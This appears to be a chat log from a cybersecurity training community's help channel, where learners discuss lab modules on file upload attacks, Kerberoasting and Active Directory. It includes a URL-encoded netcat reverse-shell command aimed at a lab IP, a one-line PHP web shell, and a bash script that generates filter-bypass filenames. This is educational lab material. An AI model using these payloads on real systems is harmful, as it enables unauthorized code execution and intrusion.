ok
hello everyone, I would like to ask for help, I am 17 years old, I would like to study for a base in the field of cybersecurity to learn how to solve CTF tasks, who can give advice or resources to study
thank you in advance
I don't understand why this command isn't working in msfconsole. I tried fixing the issues with the suggestions that were I asked what to do when the 'db_nmap' command doesn't work and none of the suggestions I tried worked: db_nmap -sV -p- -T5 -A 10.129.239.61
Tryhackme is also a good place to start learn hacking. I use both tryhackme, academy.hackthebox.com and the hackthebox labs\
have you looked into the error and what it means and how to resolve it?
THM is an awful place to learn, stay on HTB Academy
I won't say awful , but these days I am finding HTB Academy to be the better learning resource because I think its more practical
if it's not practical it's an awful resource
you most likely won't succeed when doing boxes or when first starting on HTB Academy, but you will be challenged and learn.
you will not learn on THM it's awful
but THM definitely has some practical rooms for sure
if you want to waste your time be my guest.
i've tried both platforms and i've been challenged and learned far more here than they ever taught me
same

How can I do proper encoding on bigger terminal commands to run them on my web shells? Basically converting commands into url format?
base64 encode?
Isn't that just encryption? For example I saw Ippsec doing ctrl + U on burp suite to convert his reverse shell into url format
This is what I'm talking about
@0ั Sir, I made a little progress on yesterday's task with the footprinting lab 2.
I think ./urlencode might be what I'm looking for lmao
Encryption and encoding are two completely different things
I know, that's why I mentioned encoding
urlencode doesn't seem to work 
Try base64 or percent encoding
Neither seemed to work
awesome
Could be a problem with your command, who knows
any help with this>>>>>>>CertUtil: -URLCache command FAILED: 0x80190195 (-2145844843)
CertUtil: Error 0x80190195 (-2145844843)
?cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%5C%7C%2Fbin%2Fsh+-i+2%3E%261%5C%7Cnc+10.10.15.95+1337+%3E%2Ftmp%2Ff it doesn't work
Works if I directly upload the php vuln, without the web shell
If it ainโt broke, donโt fix it lolโฆwhatever it takes to accomplish your objective
Well it's an academy module anyways, so I'm just trying to learn different methods
Hey any one faced the issues while installing parrot os hackthebox edition
Completely understandable
Who knows, in the future maybe I only have the option to use a web shell
Tried 3 times gets cancelled in 91 percent
crazy
Yes it's a lot irritating ๐
It's still stuck at 91 percent and shows the error 600 sec and something can't tune the command stuff
Run*
Not something to be discussed in #modules

This channel is for academy modules
Module: Active Directory,Section: Kerberoasting From Linux, i connected to ssh, it says to use GetUserSPNs, but it requesting a password, and i do not have password, could anyone help please?
for this module right down past credentials you've received or found and use those
Hello guyskies
oh understood, thx u sir
I am uploading a shell.php to a vulnerable web app successfully. When I navigate to the uploaded shell using the URL. It DOWNLOADS the shell script instead of running it. Now I have a bunch of shell scripts downloaded
Would appreciate any insight
from what i've seen it only happens in that module, but yes definitely write them down and reuse them because you'll need them in future sections as well
Hey @rustic sage can u help me once again?
what module is it
FILE UPLOAD ATTACKS
Blacklist Filters
The page before it I did the same thing and it ran the shell.php script. But this time it just keeps downloading it when I navigate to it. So weird
Any luck @rustic sage
i'm working on the new box if you still need help later i'll be around
try restarting the box, rereading the module, double check what you're uploading
Did you try bypassing the filters?
Yes I bypassed the filters look at this list of working extensions:
Can I DM u sir
Even though you see alot of 200s I belive only one extension will execute php.
im a little bit confused on the kerberoasting from linux module the question is "What powerful local group on the Domain Controller is the SAPService user a member of?" so i tried all kinds of things but cant figure it out can someone give a hint on what i need to do
But how will it execute if it doesn't even open the file? It instantly DOWNLOADS the file onto my computer ...
show me a screenshot of url that downloads the php files along with your payload
Thanks for helping
URL
http://94.237.59.206:40895/profile_images/image.phtml?cmd=ls
Payload
<?php system($_REQUEST['cmd']); ?>
Screenshot:
All good, now have you tried this with all the extensions that gave you 200?
Yeah they all just download
I used Brup so i never had files download, but again one extension will work
.phpt returned a Not Found
One extension from this screenshot should work
what did you try?
well i found his group rid 0x201 then listed the groups the group with the rid 0x201 is Domain Users so i submitted this but it says its incorrect
Thanks found it
Have you tried Listing SPN Accounts?
Just Follow the module, you will get the answer
i have no idea what this server is about i got it from network chuch
cuch
idk how to spell
im not like a small child i just dont know
This server is for learning how to hack
finally i smacked the medium lab for password attacks
idk metasploit's code quality is kind of bad and exploits tend to have a ton of boilerplate code. If you want to write custom exploits and payloads, ronin-exploits and ronin-payloads (also written in Ruby) has a much simpler API and comes with basic shellcode payloads. If you want tons of old exploits for older CVEs, metasploit is much better for that.
I have been reading about how IDS/IPS passively prevents traffic from entering network, making it harder to detect than a firewall which does so actively.
I understand this in the context of IDS. With IPS I understand it less because it says it "prevents" attacks. If its blocking the traffic then how does it "prevent" attacks "passively" and what's the difference between blocking "passively" and blocking "actively?"
not the place for this.
iโll take a look into those๐ง
An IDS is passive and an IPS is active. The IDS is passive cause it just detects without any action besides it alerts configs. An IPS is active cause it actually does something to block or prevent an intrusion
Guys why when i typing this command my terminal is holding and not exeting a command, on Active Directory module:
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
then why is HTB Academy saying its passive and what's difference between IPS and firewall?
Yeah same happned to me
It wasnโt working
how did u completed this section?
i also asked help to chatgpt, but given commands are not working
oh thx sir
Wait ill chech my notes
Can u tell me wich section this
Its a bout acl abuse right
why not just google it
we can copy paste for you the results
and if you think something in a section is wrong, you have #858470491676737536
I did but I was having hard time understanding what I found
the modules do not possess the absolute truth
๐๐ฝ
FILE UPLOAD ATTACKS
Whitelist Filters
The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt"
I have used the script provided and added to it all .php extensions as follows:
for ext in '.php' '.phps' '.jpeg.php' '.jpg.php' '.png.php' '.php' '.php3' '.php4' '.php5' '.php7' '.php8' '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm>
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done```
I used burpsuite intruder until the machine timed out after an hour:
Please help
1st step: bypass blacklist
2nd step: bypass whitelist
this is a blacklist message
this is a whitelist message
Wait so are u saying that it's because my "image data" is a php shell code?
Okay but doesnt the script try to bypass both?
you have to find 1 extension that returns "Only images are allowed"
All of them above as u can see return that
what scriptHAHA
This script makes a wordlist:
for ext in '.php' '.phps' '.jpeg.php' '.jpg.php' '.png.php' '.php' '.php3' '.php4' '.php5' '.php7' '.php8' '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm>
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done```
shell:.phtml.jpg
shell.phtml:.jpg
shell.jpg:.phtml
shell.jpg.phtml:
shell:.phtm.jpg
shell.phtm:.jpg
shell.jpg:.phtm
shell.jpg.phtm:
shell:.php%00.gif.jpg
shell.php%00.gif:.jpg
shell.jpg:.php%00.gif
shell.jpg.php%00.gif:
shell:.php\x00.gif.jpg
shell.php\x00.gif:.jpg
shell.jpg:.php\x00.gif
shell.jpg.php\x00.gif:
shell:.php%00.png.jpg
shell.php%00.png:.jpg
shell.jpg:.php%00.png
shell.jpg.php%00.png:
shell:.php\x00.png.jpg
shell.php\x00.png:.jpg
shell.jpg:.php\x00.png
shell.jpg.php\x00.png:
shell:.php%00.jpg.jpg
shell.php%00.jpg:.jpg
shell.jpg:.php%00.jpg
shell.jpg.php%00.jpg:
shell:.php\x00.jpg.jpg
shell.php\x00.jpg:.jpg
shell.jpg:.php\x00.jpg
shell.jpg.php\x00.jpg:
Like this
one of the allowed extensions is .phar.png for example
idk
you can do this one manually
1st you find one extension of php that is not blacklisted and then you bypass the "Only images" filter
is not that difficult you are overcomplicating it with a bash script
as usual. find a method before a tool do it for you
Okay sir but in the exam or a real engagement if there are no error messages then we need an automation tool to check for everything is that incorrect


